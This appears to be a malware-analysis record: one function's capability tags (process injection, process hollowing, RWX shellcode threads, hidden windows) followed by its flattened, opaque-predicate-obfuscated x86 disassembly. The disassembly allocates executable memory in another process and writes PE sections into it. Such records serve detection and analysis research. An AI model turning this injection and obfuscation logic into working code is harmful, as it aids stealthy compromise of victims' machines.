Function at 0x10013c80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x118
mov eax, dword [0x10098080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x120], 0xbbfa8af2
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x124], eax
sub eax, 0x8031bc8c
je 0x10016bf5
jmp 0x10013cbc
mov eax, dword [ebp - 0x124]
sub eax, 0x8091ff5a
je 0x10017aa1
jmp 0x10013cd2
mov eax, dword [ebp - 0x124]
sub eax, 0x80d3a159
je 0x1001728f
jmp 0x10013ce8
mov eax, dword [ebp - 0x124]
sub eax, 0x80ff7fa9
je 0x10017c2a
jmp 0x10013cfe
mov eax, dword [ebp - 0x124]
sub eax, 0x81468c36
je 0x10016a09
jmp 0x10013d14
mov eax, dword [ebp - 0x124]
sub eax, 0x83f65bf9
je 0x100163ee
jmp 0x10013d2a
mov eax, dword [ebp - 0x124]
sub eax, 0x863f4d47
je 0x10018057
jmp 0x10013d40
mov eax, dword [ebp - 0x124]
sub eax, 0x8741a42a
je 0x100158cb
jmp 0x10013d56
mov eax, dword [ebp - 0x124]
sub eax, 0x8848a461
je 0x10015d62
jmp 0x10013d6c
mov eax, dword [ebp - 0x124]
sub eax, 0x89396b57
je 0x10017611
jmp 0x10013d82
mov eax, dword [ebp - 0x124]
sub eax, 0x8b66d750
je 0x10018509
jmp 0x10013d98
mov eax, dword [ebp - 0x124]
sub eax, 0x8c404d52
je 0x10019609
jmp 0x10013dae
mov eax, dword [ebp - 0x124]
sub eax, 0x8cbc90db
je 0x10017992
jmp 0x10013dc4
mov eax, dword [ebp - 0x124]
sub eax, 0x8e55cd04
je 0x100165b4
jmp 0x10013dda
mov eax, dword [ebp - 0x124]
sub eax, 0x8ea89df4
je 0x100169fa
jmp 0x10013df0
mov eax, dword [ebp - 0x124]
sub eax, 0x8f89a3d0
je 0x10016201
jmp 0x10013e06
mov eax, dword [ebp - 0x124]
sub eax, 0x9032651e
je 0x100164f3
jmp 0x10013e1c
mov eax, dword [ebp - 0x124]
sub eax, 0x904ee5b0
je 0x10015bc1
jmp 0x10013e32
mov eax, dword [ebp - 0x124]
sub eax, 0x91ba308d
je 0x10018f67
jmp 0x10013e48
mov eax, dword [ebp - 0x124]
sub eax, 0x91d3afc6
je 0x100168e8
jmp 0x10013e5e
mov eax, dword [ebp - 0x124]
sub eax, 0x9680073a
je 0x10018723
jmp 0x10013e74
mov eax, dword [ebp - 0x124]
sub eax, 0x96c0a231
je 0x10015eeb
jmp 0x10013e8a
mov eax, dword [ebp - 0x124]
sub eax, 0x97fc72e3
je 0x100194fa
jmp 0x10013ea0
mov eax, dword [ebp - 0x124]
sub eax, 0x9865041c
je 0x10015f58
jmp 0x10013eb6
mov eax, dword [ebp - 0x124]
sub eax, 0x9875b8b7
je 0x10019410
jmp 0x10013ecc
mov eax, dword [ebp - 0x124]
sub eax, 0x98a28446
je 0x10015855
jmp 0x10013ee2
mov eax, dword [ebp - 0x124]
sub eax, 0x98b1ea2a
je 0x10018a96
jmp 0x10013ef8
mov eax, dword [ebp - 0x124]
sub eax, 0x993fabf9
je 0x1001613a
jmp 0x10013f0e
mov eax, dword [ebp - 0x124]
sub eax, 0x9a08c72b
je 0x100189d2
jmp 0x10013f24
mov eax, dword [ebp - 0x124]
sub eax, 0x9a08d1dd
je 0x10016a7f
jmp 0x10013f3a
mov eax, dword [ebp - 0x124]
sub eax, 0x9abd93f6
je 0x10015a7c
jmp 0x10013f50
mov eax, dword [ebp - 0x124]
sub eax, 0x9b25a863
je 0x10018ab4
jmp 0x10013f66
mov eax, dword [ebp - 0x124]
sub eax, 0x9b2e8994
je 0x10017bcd
jmp 0x10013f7c
mov eax, dword [ebp - 0x124]
sub eax, 0x9b50cfb2
je 0x10018972
jmp 0x10013f92
mov eax, dword [ebp - 0x124]
sub eax, 0x9b7a6152
je 0x100192a1
jmp 0x10013fa8
mov eax, dword [ebp - 0x124]
sub eax, 0x9c7f1d50
je 0x10017528
jmp 0x10013fbe
mov eax, dword [ebp - 0x124]
sub eax, 0x9c9b52b0
je 0x100192eb
jmp 0x10013fd4
mov eax, dword [ebp - 0x124]
sub eax, 0x9db1dfa1
je 0x1001953e
jmp 0x10013fea
mov eax, dword [ebp - 0x124]
sub eax, 0x9e1edf25
je 0x10017abf
jmp 0x10014000
mov eax, dword [ebp - 0x124]
sub eax, 0x9e1ee7c6
je 0x10016c35
jmp 0x10014016
mov eax, dword [ebp - 0x124]
sub eax, 0x9e789b47
je 0x100188cf
jmp 0x1001402c
mov eax, dword [ebp - 0x124]
sub eax, 0x9f9151ba
je 0x10016ed0
jmp 0x10014042
mov eax, dword [ebp - 0x124]
sub eax, 0xa129557b
je 0x10016ddd
jmp 0x10014058
mov eax, dword [ebp - 0x124]
sub eax, 0xa1bc6c93
je 0x10017a13
jmp 0x1001406e
mov eax, dword [ebp - 0x124]
sub eax, 0xa263e18e
je 0x1001587a
jmp 0x10014084
mov eax, dword [ebp - 0x124]
sub eax, 0xa2cef4a8
je 0x100162fb
jmp 0x1001409a
mov eax, dword [ebp - 0x124]
sub eax, 0xa30efc9a
je 0x100178d8
jmp 0x100140b0
mov eax, dword [ebp - 0x124]
sub eax, 0xa39c71dc
je 0x10018a3f
jmp 0x100140c6
mov eax, dword [ebp - 0x124]
sub eax, 0xa423f2ef
je 0x100189ee
jmp 0x100140dc
mov eax, dword [ebp - 0x124]
sub eax, 0xa4431607
je 0x100184ae
jmp 0x100140f2
mov eax, dword [ebp - 0x124]
sub eax, 0xa4e486d0
je 0x100173b7
jmp 0x10014108
mov eax, dword [ebp - 0x124]
sub eax, 0xa51e4cf3
je 0x100178c9
jmp 0x1001411e
mov eax, dword [ebp - 0x124]
sub eax, 0xa5cedd8d
je 0x1001906a
jmp 0x10014134
mov eax, dword [ebp - 0x124]
sub eax, 0xa5ff73f8
je 0x10017221
jmp 0x1001414a
mov eax, dword [ebp - 0x124]
sub eax, 0xa65e6d00
je 0x10017579
jmp 0x10014160
mov eax, dword [ebp - 0x124]
sub eax, 0xa75d50a9
je 0x10019376
jmp 0x10014176
mov eax, dword [ebp - 0x124]
sub eax, 0xa7a62806
je 0x1001612b
jmp 0x1001418c
mov eax, dword [ebp - 0x124]
sub eax, 0xa8c79a66
je 0x100196a6
jmp 0x100141a2
mov eax, dword [ebp - 0x124]
sub eax, 0xa90d9676
je 0x1001591c
jmp 0x100141b8
mov eax, dword [ebp - 0x124]
sub eax, 0xa9d15e13
je 0x100190cc
jmp 0x100141ce
mov eax, dword [ebp - 0x124]
sub eax, 0xabafd1c4
je 0x100167dc
jmp 0x100141e4
mov eax, dword [ebp - 0x124]
sub eax, 0xadd9d1a2
je 0x1001869a
jmp 0x100141fa
mov eax, dword [ebp - 0x124]
sub eax, 0xae9a4857
je 0x10016dc7
jmp 0x10014210
mov eax, dword [ebp - 0x124]
sub eax, 0xaeab71ad
je 0x10017932
jmp 0x10014226
mov eax, dword [ebp - 0x124]
sub eax, 0xb1c2d670
je 0x10015b78
mov dword [ebp - 0x120], 0xbe043db9
jmp 0x100196df
mov eax, dword [0x10099674]
mov ecx, dword [0x10099670]
mov edx, eax
add edx, 0xa1057f88
sub edx, 1
sub edx, 0xa1057f88
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x541c325a
mov ecx, 0x8741a42a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov eax, dword [0x10099674]
mov ecx, dword [0x10099670]
mov edx, eax
sub edx, 0xf9fe8e1c
sub edx, 1
add edx, 0xf9fe8e1c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x541c325a
mov ecx, 0xa90d9676
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov dl, 1
mov eax, 0x5d4801c7
mov ecx, 0x62f3e73b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov ecx, dword [0x10099674]
mov eax, dword [0x10099670]
mov edx, ecx
sub edx, 0xee5236a
sub edx, 1
add edx, 0xee5236a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4b4a9982
mov ecx, 0x2d722b82
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov ecx, dword [0x10099674]
mov eax, dword [0x10099670]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x60f4dc3
mov ecx, 0xd29617bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x120], 0x1989d5ce
jmp 0x100196df
mov byte [ebp - 0x111], 0
mov al, byte [ebp - 0x111]
and al, 1
mov byte [ebp - 0x95], al
mov eax, dword [0x10099674]
mov ecx, dword [0x10099670]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x907d470
mov ecx, 0x1eccf8d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov eax, dword [0x10099674]
mov ecx, dword [0x10099670]
mov edx, eax
sub edx, 0xb8efdd0a
sub edx, 1
add edx, 0xb8efdd0a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9b7a6152
mov ecx, 0xc257b07f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov dword [ebp - 0x120], 0x993fabf9
jmp 0x100196df
mov ecx, dword [0x10099674]
mov eax, dword [0x10099670]
mov edx, ecx
add edx, 0xff41147c
sub edx, 1
sub edx, 0xff41147c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x25137b24
mov ecx, 0x2afd6876
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov dl, 1
mov eax, 0x5ccc8a20
mov ecx, 0xfdf07851
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov dword [ebp - 0x120], 0x21648b49
jmp 0x100196df
mov dl, byte [ebp - 0x112]
mov eax, 0x3444d0b5
mov ecx, 0x9032651e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov byte [ebp - 0x112], 0
mov dword [ebp - 0x120], 0x556af6b3
jmp 0x100196df
mov eax, dword [0x10099674]
mov ecx, dword [0x10099670]
mov edx, eax
sub edx, 0x1408a7a4
sub edx, 1
add edx, 0x1408a7a4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf5cca08d
mov ecx, 0x717504f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov ecx, dword [0x10099674]
mov eax, dword [0x10099670]
mov edx, ecx
add edx, 0x971eca65
sub edx, 1
sub edx, 0x971eca65
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x34f5af9b
mov ecx, 0xe6047509
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x120], 0x440c59ee
jmp 0x100196df
mov dword [ebp - 0x120], 0x81468c36
jmp 0x100196df
mov ecx, dword [0x10099674]
mov eax, dword [0x10099670]
mov edx, ecx
add edx, 0x99e1a3a7
sub edx, 1
sub edx, 0x99e1a3a7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa75d50a9
mov ecx, 0x9a08d1dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov eax, dword [ebp - 0x90]
sub eax, 0xc964e773
add eax, 1
add eax, 0xc964e773
mov dword [ebp - 0x118], eax
mov eax, dword [0x10099674]
mov ecx, dword [0x10099670]
mov edx, eax
add edx, 0x4291f29d
sub edx, 1
sub edx, 0x4291f29d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa75d50a9
mov ecx, 0xdb901d1e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov dword [ebp - 0x120], 0xc08bf3c3
jmp 0x100196df
mov ecx, dword [0x10099674]
mov eax, dword [0x10099670]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xce83b92c
mov ecx, 0x613da49c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov byte [ebp - 0x119], 0
mov dword [ebp - 0x120], 0xa129557b
jmp 0x100196df
mov ecx, dword [0x10099674]
mov eax, dword [0x10099670]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1deb33c9
mov ecx, 0xbd37da6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov dword [ebp - 0x120], 0xdbd60d8b
jmp 0x100196df
mov dword [ebp - 0x120], 0x4608ff48
jmp 0x100196df
mov dword [ebp - 0x120], 0xdfe92eea
jmp 0x100196df
mov eax, dword [ebp - 0x104]
mov byte [eax], 1
mov dword [ebp - 0x120], 0x3fe11edc
jmp 0x100196df
mov eax, dword [0x10099674]
mov ecx, dword [0x10099670]
mov edx, eax
sub edx, 0x182fd4b0
sub edx, 1
add edx, 0x182fd4b0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe5213180
mov ecx, 0xa65e6d00
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov eax, dword [ebp - 0x100]
mov dword [eax], 0xefb8ed7
mov eax, dword [0x10099674]
mov ecx, dword [0x10099670]
mov edx, eax
add edx, 0xfda9f2e4
sub edx, 1
sub edx, 0xfda9f2e4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe5213180
mov ecx, 0xf8ff70f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov ecx, dword [0x10099674]
mov eax, dword [0x10099670]
mov edx, ecx
add edx, 0x6e9e576
sub edx, 1
sub edx, 0x6e9e576
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc87de4f
mov ecx, 0xeaff48fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov dword [ebp - 0x120], 0xa30efc9a
jmp 0x100196df
mov eax, dword [ebp - 0xfc]
mov dword [eax], 0xefb8ee8
mov dword [ebp - 0x120], 0x820de0f
jmp 0x100196df
mov dword [ebp - 0x120], 0x9e1edf25
jmp 0x100196df
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov ecx, dword [0x10099674]
mov eax, dword [0x10099670]
mov edx, ecx
add edx, 0x195cf16c
sub edx, 1
sub edx, 0x195cf16c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf85600d
mov ecx, 0xa1bc6c93
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov dword [ebp - 0x120], 0x67afaffa
jmp 0x100196df
mov dword [ebp - 0x120], 0x77321136
jmp 0x100196df
mov eax, dword [0x10099674]
mov ecx, dword [0x10099670]
mov edx, eax
sub edx, 0x4de1f5b4
sub edx, 1
add edx, 0x4de1f5b4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d3cdf74
mov ecx, 0xe1682290
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov eax, dword [ebp - 0xf8]
cmp dword [eax], 0xefb8ec6
setg al
and al, 1
mov byte [ebp - 0x72], al
mov eax, dword [0x10099674]
mov ecx, dword [0x10099670]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x220e10a9
mov ecx, 0x80ff7fa9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov dl, byte [ebp - 0x72]
mov eax, 0xc5f36e59
mov ecx, 0x73ba6840
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov dword [ebp - 0x120], 0xfd466566
jmp 0x100196df
mov dl, byte [ebp - 0x59]
mov eax, 0xc6811306
mov ecx, 0x3ad157d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xc8]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov edx, dword [ebp - 0xc4]
mov eax, 0x1f77643a
mov ecx, 0x41cb78c8
cmp dword [edx], 0
cmovge eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe8]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x45], al
mov dword [ebp - 0x120], 0xbb3456d0
jmp 0x100196df
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x3c]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x40]
sub ecx, 0xb48edd1f
add ecx, eax
add ecx, 0xb48edd1f
mov eax, dword [ebp - 0xcc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov esi, dword [ebp - 0xbc]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0xc]
add edx, 0x5b82d57
add edx, eax
sub edx, 0x5b82d57
mov eax, dword [ebp - 0xe0]
mov esi, dword [eax]
mov eax, dword [ebp - 0x44]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x120], 0x6f038b79
jmp 0x100196df
mov eax, dword [ebp - 0x34]
cmp dword [eax + 0x4c], 0
setne al
and al, 1
mov byte [ebp - 0x2d], al
mov ecx, dword [0x10099674]
mov eax, dword [0x10099670]
mov edx, ecx
add edx, 0xeee61802
sub edx, 1
sub edx, 0xeee61802
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x162a6382
mov ecx, 0x22b507de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x120], 0xb358c20f
jmp 0x100196df
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x120], 0xa423f2ef
jmp 0x100196df
mov eax, dword [0x10099674]
mov ecx, dword [0x10099670]
mov edx, eax
add edx, 0x439dece1
sub edx, 1
sub edx, 0x439dece1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb54f4db0
mov ecx, 0xa39c71dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov eax, dword [ebp - 0x24]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x1d], al
mov eax, dword [0x10099674]
mov ecx, dword [0x10099670]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb54f4db0
mov ecx, 0x98b1ea2a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov dl, byte [ebp - 0x1d]
mov eax, 0x1b57ede1
mov ecx, 0x9b25a863
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov ecx, dword [0x10099674]
mov eax, dword [0x10099670]
mov edx, ecx
add edx, 0xd33c8aff
sub edx, 1
sub edx, 0xd33c8aff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8c404d52
mov ecx, 0xf3b09b3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov eax, dword [0x10099674]
mov ecx, dword [0x10099670]
mov edx, eax
add edx, 0xf840056e
sub edx, 1
sub edx, 0xf840056e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa8c79a66
mov ecx, 0xf786e3eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10099674]
mov ecx, dword [0x10099670]
mov edx, eax
add edx, 0x771a629a
sub edx, 1
sub edx, 0x771a629a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x79ea57f4
mov ecx, 0xa9d15e13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x120], eax
jmp 0x100196df
mov dword [ebp - 0x120], 0xedc3c3fd
jmp 0x100196df
mov dword [ebp - 0x120], 0xc257b07f
jmp 0x100196df
mov byte [ebp - 0x112], 1
mov dword [ebp - 0x120], 0x330ec654
jmp 0x100196df
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
sub eax, 0x97d1f29d
add eax, 1
add eax, 0x97d1f29d
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x120], 0x9a08d1dd
jmp 0x100196df
mov dword [ebp - 0x120], 0xf26254fb
jmp 0x100196df
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x70]
mov dword [eax], ecx
mov dword [ebp - 0x120], 0xe0ffeac5
jmp 0x100196df
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x120], 0x2041182f
jmp 0x100196df
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x120], 0xf3b09b3b
jmp 0x100196df
mov dword [ebp - 0x120], 0x91ba308d
jmp 0x100196df
jmp 0x10013ca0